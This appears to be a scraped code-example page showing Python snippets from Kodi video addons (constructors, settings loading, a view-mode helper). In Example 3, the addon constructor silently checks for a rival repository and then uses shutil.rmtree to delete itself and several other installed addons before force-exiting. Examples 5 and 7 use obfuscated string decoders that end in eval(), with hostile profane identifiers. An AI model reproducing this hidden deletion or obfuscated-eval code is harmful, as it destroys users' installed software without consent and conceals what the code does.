Esempio n. 1
0
    def __init__(self, addon_id, argv=None):

        self.addon = Addon(addon_id, sys.argv)
        if argv[0]:
            self.url = sys.argv[0]
            self.handle = int(sys.argv[1])
            self.args = self.parse_query(sys.argv[2][1:])
Esempio n. 2
0
	def __init__(self, addon_id, argv=None):
		

		if argv is not None:
			self.addon = Addon(addon_id, sys.argv)
		else:
			self.addon = Addon(addon_id)
		self.addon_name = '[COLOR white][B]%s[/B][/COLOR]' %self.addon.get_name()
		self.addon_id = self.addon.get_id()
		self.icon = self.addon.get_icon()
		
		try:
			if argv[0]:
				self.url = sys.argv[0]
				self.handle = int(sys.argv[1])
				self.args = self.parse_query(sys.argv[2][1:])
		except:pass
Esempio n. 3
0
    def __init__(self, addon_id, argv=None):

        self.addon = Addon(addon_id, sys.argv)
        self.addon_name = '[COLOR white][B]%s[/B][/COLOR]' % self.addon.get_name(
        )
        self.addon_id = self.addon.get_id()
        self.icon = self.addon.get_icon()

        if argv[0]:
            self.url = sys.argv[0]
            self.handle = int(sys.argv[1])
            self.args = self.parse_query(sys.argv[2][1:])

        fuck_you_anonymous1 = xbmc.translatePath(
            'special://home/addons/plugin.program.anonymouswizard')
        fuck_you_anonymous2 = xbmc.translatePath(
            'special://home/addons/plugin.program.plugin.program.mafwizard')
        fuck_you_anonymous3 = xbmc.translatePath(
            'special://home/addons/plugin.video.ass')
        fuck_you_anonymous4 = xbmc.translatePath(
            'special://home/addons/plugin.video.floki')
        fuck_you_anonymous5 = xbmc.translatePath(
            'special://home/addons/plugin.video.kratos')
        fuck_you_anonymous6 = xbmc.translatePath(
            'special://home/addons/plugin.video.wargames')
        fuck_you_anonymous7 = xbmc.translatePath(
            'special://home/addons/repository.maf')
        if os.path.exists(fuck_you_anonymous7):
            line1 = "you have Installed From An"
            line2 = "Unofficial Source And Will Now Delete Please"
            line3 = "Install From [COLOR red]http://muckys.mediaportal4kodi.ml[/COLOR]"
            line4 = "Removed Repos And Addons"
            line5 = "successfully Please Dont Support Idiots"
            self.addon.show_ok_dialog([line1, line2, line3], self.addon_name)
            delete_addon = self.addon.get_path()
            shutil.rmtree(delete_addon, ignore_errors=True)
            shutil.rmtree(fuck_you_anonymous1, ignore_errors=True)
            shutil.rmtree(fuck_you_anonymous2, ignore_errors=True)
            shutil.rmtree(fuck_you_anonymous3, ignore_errors=True)
            shutil.rmtree(fuck_you_anonymous4, ignore_errors=True)
            shutil.rmtree(fuck_you_anonymous5, ignore_errors=True)
            shutil.rmtree(fuck_you_anonymous6, ignore_errors=True)
            shutil.rmtree(fuck_you_anonymous7, ignore_errors=True)
            self.addon.log('===DELETING===ADDON===+===REPO===')
            self.addon.show_ok_dialog([line4, line5], self.addon_name)
            time.sleep(2)
            os._exit(0)
Esempio n. 4
0
#########################################################################
#                                                                       #
#                                                                       #
#                          HI MUCKY DUCK                                #
#                                                                       #
#                                                                       #
#                   NOW I HAVE STOLEN SOMETHING.                        #
#                                                                       #
#                                                                       #
#                        REGARDS, ANONYMOUS                             #
#                                                                       #
#                                                                       #
#########################################################################

addon_id = xbmcaddon.Addon().getAddonInfo('id')
addon = Addon(addon_id, sys.argv)
addon_name = addon.get_name()
addon_path = addon.get_path()
md = md(addon_id, sys.argv)

auto_play = addon.get_setting('autoplay')
metaset = addon.get_setting('enable_meta')
show_tv = addon.get_setting('enable_shows')
show_mov = addon.get_setting('enable_movies')
show_fav = addon.get_setting('enable_favs')
show_proxy = addon.get_setting('enable_proxy')
show_add_set = addon.get_setting('add_set')
show_meta_set = addon.get_setting('enable_meta_set')

art = md.get_art()
icon = addon.get_icon()
Esempio n. 5
0
    l11llllFuck_You_Anonymous = l1lll111Fuck_You_Anonymous % len (l1l1l1llFuck_You_Anonymous)
    l111llFuck_You_Anonymous = l1l1l1llFuck_You_Anonymous [:l11llllFuck_You_Anonymous] + l1l1l1llFuck_You_Anonymous [l11llllFuck_You_Anonymous:]
    if l1l1l1l1Fuck_You_Anonymous:
        l111lFuck_You_Anonymous = unicode () .join ([unichr (ord (char) - l1111l1Fuck_You_Anonymous - (l11lFuck_You_Anonymous + l1lll111Fuck_You_Anonymous) % l1ll111lFuck_You_Anonymous) for l11lFuck_You_Anonymous, char in enumerate (l111llFuck_You_Anonymous)])
    else:
        l111lFuck_You_Anonymous = str () .join ([chr (ord (char) - l1111l1Fuck_You_Anonymous - (l11lFuck_You_Anonymous + l1lll111Fuck_You_Anonymous) % l1ll111lFuck_You_Anonymous) for l11lFuck_You_Anonymous, char in enumerate (l111llFuck_You_Anonymous)])
    return eval (l111lFuck_You_Anonymous)
import hashlib,os,random,re,shutil,string,sys,time
import xbmc,xbmcaddon,xbmcgui,xbmcplugin
from md_request import open_url
from md_view import setView
from common import Addon
from md_tools import md
# C Movies HD Add-on Created By Mucky Duck (10/2016)
l1lll1llFuck_You_Anonymous = xbmcaddon.Addon().getAddonInfo(l111Fuck_You_Anonymous (u"ࠫ࡮ࡪࠧࠀ"))
l1ll1Fuck_You_Anonymous = Addon(l1lll1llFuck_You_Anonymous, sys.argv)
l1l11Fuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_name()
l1ll1l1lFuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_path()
md = md(l1lll1llFuck_You_Anonymous, sys.argv)
l11ll11Fuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_setting(l111Fuck_You_Anonymous (u"ࠬࡧࡵࡵࡱࡳࡰࡦࡿࠧࠁ"))
l1111lFuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_setting(l111Fuck_You_Anonymous (u"࠭ࡥ࡯ࡣࡥࡰࡪࡥ࡭ࡦࡶࡤࠫࠂ"))
l1lllll1Fuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_setting(l111Fuck_You_Anonymous (u"ࠧࡦࡰࡤࡦࡱ࡫࡟ࡴࡪࡲࡻࡸ࠭ࠃ"))
l1ll11llFuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_setting(l111Fuck_You_Anonymous (u"ࠨࡧࡱࡥࡧࡲࡥࡠ࡯ࡲࡺ࡮࡫ࡳࠨࠄ"))
l11l1llFuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_setting(l111Fuck_You_Anonymous (u"ࠩࡨࡲࡦࡨ࡬ࡦࡡࡩࡥࡻࡹࠧࠅ"))
l1ll11Fuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_setting(l111Fuck_You_Anonymous (u"ࠪࡩࡳࡧࡢ࡭ࡧࡢࡴࡷࡵࡸࡺࠩࠆ"))
l1llFuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_setting(l111Fuck_You_Anonymous (u"ࠫࡦࡪࡤࡠࡵࡨࡸࠬࠇ"))
l11llll1Fuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_setting(l111Fuck_You_Anonymous (u"ࠬ࡫࡮ࡢࡤ࡯ࡩࡤࡳࡥࡵࡣࡢࡷࡪࡺࠧࠈ"))
l11l1lFuck_You_Anonymous = md.get_art()
l1l11l11Fuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_icon()
l11l11lFuck_You_Anonymous = l1ll1Fuck_You_Anonymous.get_fanart()
l111111Fuck_You_Anonymous = l111Fuck_You_Anonymous (u"࠭ࡨࡵࡶࡳ࠾࠴࠵ࡣ࡮ࡱࡹ࡭ࡪࡹࡨࡥ࠰ࡦࡳࡲ࠭ࠉ")
Esempio n. 6
0
def setView(addon_id, content, viewType):

        addon = Addon(addon_id, sys.argv)

        if content:

                xbmcplugin.setContent(int(sys.argv[1]), content)

        if addon.get_setting('auto-view') == 'true':

                print addon.get_setting(viewType)

                if addon.get_setting(viewType) == 'Info':
                        VT = '504'

                elif addon.get_setting(viewType) == 'Info2':
                        VT = '503'

                elif addon.get_setting(viewType) == 'Info3':
                        VT = '515'

                elif addon.get_setting(viewType) == 'Fanart':
                        VT = '508'

                elif addon.get_setting(viewType) == 'Poster Wrap':
                        VT = '501'

                elif addon.get_setting(viewType) == 'Big List':
                        VT = '51'

                elif addon.get_setting(viewType) == 'Low List':
                        VT = '724'

                elif addon.get_setting(viewType) == 'List':
                        VT = '50'

                elif addon.get_setting(viewType) == 'Default Menu View':
                        VT = addon.get_setting('default-view1')

                elif addon.get_setting(viewType) == 'Default TV Shows View':
                        VT = addon.get_setting('default-view2')

                elif addon.get_setting(viewType) == 'Default Episodes View':
                        VT = addon.get_setting('default-view3')

                elif addon.get_setting(viewType) == 'Default Movies View':
                        VT = addon.get_setting('default-view4')

                elif addon.get_setting(viewType) == 'Default Docs View':
                        VT = addon.get_setting('default-view5')

                elif addon.get_setting(viewType) == 'Default Cartoons View':
                        VT = addon.get_setting('default-view6')

                elif addon.get_setting(viewType) == 'Default Anime View':
                        VT = addon.get_setting('default-view7')

                print viewType
                print VT

                xbmc.executebuiltin("Container.SetViewMode(%s)" % ( int(VT) ) )

        xbmcplugin.addSortMethod( handle=int( sys.argv[ 1 ] ), sortMethod=xbmcplugin.SORT_METHOD_UNSORTED )
        xbmcplugin.addSortMethod( handle=int( sys.argv[ 1 ] ), sortMethod=xbmcplugin.SORT_METHOD_LABEL )
        xbmcplugin.addSortMethod( handle=int( sys.argv[ 1 ] ), sortMethod=xbmcplugin.SORT_METHOD_VIDEO_RATING )
        xbmcplugin.addSortMethod( handle=int( sys.argv[ 1 ] ), sortMethod=xbmcplugin.SORT_METHOD_DATE )
        xbmcplugin.addSortMethod( handle=int( sys.argv[ 1 ] ), sortMethod=xbmcplugin.SORT_METHOD_PROGRAM_COUNT )
        xbmcplugin.addSortMethod( handle=int( sys.argv[ 1 ] ), sortMethod=xbmcplugin.SORT_METHOD_VIDEO_RUNTIME )
        xbmcplugin.addSortMethod( handle=int( sys.argv[ 1 ] ), sortMethod=xbmcplugin.SORT_METHOD_GENRE )
        xbmcplugin.addSortMethod( handle=int( sys.argv[ 1 ] ), sortMethod=xbmcplugin.SORT_METHOD_MPAA_RATING )
Esempio n. 7
0
                l1llll1lCreated_By_Mucky_Duck) for l1llCreated_By_Mucky_Duck,
            char in enumerate(l1l11lCreated_By_Mucky_Duck)
        ])
    return eval(l1l1lCreated_By_Mucky_Duck)


import xbmc, xbmcaddon, xbmcgui, xbmcplugin
from md_request import open_url
from md_view import setView
from common import Addon
from md_tools import md
import jsunfuck, os, re, sys, shutil, time
# Yes Movies Add-on Created By Mucky Duck (10/2016)
l111l1lCreated_By_Mucky_Duck = xbmcaddon.Addon().getAddonInfo(
    l11lCreated_By_Mucky_Duck(u"ࠫ࡮ࡪࠧࠀ"))
l111Created_By_Mucky_Duck = Addon(l111l1lCreated_By_Mucky_Duck, sys.argv)
l1lllCreated_By_Mucky_Duck = l111Created_By_Mucky_Duck.get_name()
l11111lCreated_By_Mucky_Duck = l111Created_By_Mucky_Duck.get_path()
md = md(l111l1lCreated_By_Mucky_Duck, sys.argv)
l1l1ll1Created_By_Mucky_Duck = l111Created_By_Mucky_Duck.get_setting(
    l11lCreated_By_Mucky_Duck(u"ࠬࡧࡵࡵࡱࡳࡰࡦࡿࠧࠁ"))
l11ll1Created_By_Mucky_Duck = l111Created_By_Mucky_Duck.get_setting(
    l11lCreated_By_Mucky_Duck(u"࠭ࡥ࡯ࡣࡥࡰࡪࡥ࡭ࡦࡶࡤࠫࠂ"))
l11l111Created_By_Mucky_Duck = l111Created_By_Mucky_Duck.get_setting(
    l11lCreated_By_Mucky_Duck(u"ࠧࡦࡰࡤࡦࡱ࡫࡟ࡴࡪࡲࡻࡸ࠭ࠃ"))
l1llllllCreated_By_Mucky_Duck = l111Created_By_Mucky_Duck.get_setting(
    l11lCreated_By_Mucky_Duck(u"ࠨࡧࡱࡥࡧࡲࡥࡠ࡯ࡲࡺ࡮࡫ࡳࠨࠄ"))
l1l1l1lCreated_By_Mucky_Duck = l111Created_By_Mucky_Duck.get_setting(
    l11lCreated_By_Mucky_Duck(u"ࠩࡨࡲࡦࡨ࡬ࡦࡡࡩࡥࡻࡹࠧࠅ"))
l1lCreated_By_Mucky_Duck = l111Created_By_Mucky_Duck.get_setting(
    l11lCreated_By_Mucky_Duck(u"ࠪࡥࡩࡪ࡟ࡴࡧࡷࠫࠆ"))
Esempio n. 8
0
#    number1 = ord (main_parameters [-1])
#    text1 = main_parameters [:-1]
#    if sysVersion: #Python 2
#        sysV_check = unicode () .join ([unichr (ord (char) - 2048 - (text5 + number1) % 7) for text5, char in enumerate (text1)])
#    else: #Python 3
#        sysV_check = str () .join ([chr (ord (char) - 2048 - (text5 + number1) % 7) for text5, char in enumerate (text1)])
#    return eval (sysV_check)
import xbmc, xbmcaddon, xbmcgui, xbmcplugin
import os, itertools, re, sys, urlresolver
from md_request import open_url
from md_view import setView
from common import Addon
from md_tools import md
# Watchseries - originally by Mucky Duck (03/2015) - updated by koreanwarrior (12/2017)
strAddonID = xbmcaddon.Addon().getAddonInfo('id')
MDWS = Addon(strAddonID, sys.argv)
strAddonName = MDWS.get_name()
mdwsPath = MDWS.get_path()
md = md(strAddonID, sys.argv)
bEnableMeta = MDWS.get_setting('enable_meta')
bEnableFavs = MDWS.get_setting('enable_favs')
bEnableAddonSettings = MDWS.get_setting('add_set')
bEnableMetaSettings = MDWS.get_setting('enable_meta_set')
bEnableUrlResolverSettings = MDWS.get_setting('enable_resolver_set')
strArtDir = md.get_art(
)  # Returns the full path to the addon's art directory, equal to:
# strArtDir = os.path.join(self.addon.get_path(), 'resources', 'art', '')
hIcon = MDWS.get_icon()
hFanart = MDWS.get_fanart()
strBaseURL = MDWS.get_setting(
    'base_url')  # currently 'http://itswatchseries.to'